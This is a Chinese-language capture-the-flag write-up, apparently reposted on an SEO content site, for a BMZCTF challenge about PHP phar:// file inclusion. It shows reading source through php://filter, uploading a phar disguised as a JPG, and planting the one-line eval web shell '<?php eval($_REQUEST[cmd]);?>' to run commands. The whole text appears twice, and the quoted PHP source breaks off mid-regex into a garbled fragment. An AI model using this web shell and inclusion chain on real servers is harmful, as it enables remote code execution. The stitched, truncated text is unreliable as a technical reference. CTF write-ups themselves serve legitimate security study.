BMZCTF的phar题目具体考察哪些知识点?

2026-05-19 17:522阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计425个文字,预计阅读时间需要2分钟。

BMZCTF的phar题目具体考察哪些知识点?

phppchar?? + 补充知识点 + 在开始此题之前,我们先补充一个知识点:phar + 的文件包含和上面类似,先创建一个phar标准包,使用PharData来创建,然后添加文件进phar中。 + 然后在文件包含的函数中

pchar??? 补充知识点

开始这题之前我们先补充一个知识点

phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面。 然后在文件包含的函数里面 可控的话 ,使用phar://xxxx/xxx 就可以实现文件包含了

解题

进入题目查看源码发现一个界面我们去访问看一下

然后我们在include.php中查看源码又发现一个页面upload.php

两个页面访问结果如下

估计是通过upload.php上传的内容然后通过include.php包含进来,我们先来试试文件包含

基本确定是文件包含了但是他会在你输入的文件名后面+.php

既然这样那我们尝试使用php://filter/协议读取源码试试

BMZCTF的phar题目具体考察哪些知识点?

include.php?file=php://filter/convert.base64-encode/resource=include

将源码读出我们进行base64解码得到如下源码

<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1

成功执行下面我们将phpinfo改为木马即可

<?php echo "hack!"; eval($_REQUEST[cmd]);?>

上传成功,下面我们使用hackbar执行指令即可

本文共计425个文字,预计阅读时间需要2分钟。

BMZCTF的phar题目具体考察哪些知识点?

phppchar?? + 补充知识点 + 在开始此题之前,我们先补充一个知识点:phar + 的文件包含和上面类似,先创建一个phar标准包,使用PharData来创建,然后添加文件进phar中。 + 然后在文件包含的函数中

pchar??? 补充知识点

开始这题之前我们先补充一个知识点

phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面。 然后在文件包含的函数里面 可控的话 ,使用phar://xxxx/xxx 就可以实现文件包含了

解题

进入题目查看源码发现一个界面我们去访问看一下

然后我们在include.php中查看源码又发现一个页面upload.php

两个页面访问结果如下

估计是通过upload.php上传的内容然后通过include.php包含进来,我们先来试试文件包含

基本确定是文件包含了但是他会在你输入的文件名后面+.php

既然这样那我们尝试使用php://filter/协议读取源码试试

BMZCTF的phar题目具体考察哪些知识点?

include.php?file=php://filter/convert.base64-encode/resource=include

将源码读出我们进行base64解码得到如下源码

<html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1

成功执行下面我们将phpinfo改为木马即可

<?php echo "hack!"; eval($_REQUEST[cmd]);?>

上传成功,下面我们使用hackbar执行指令即可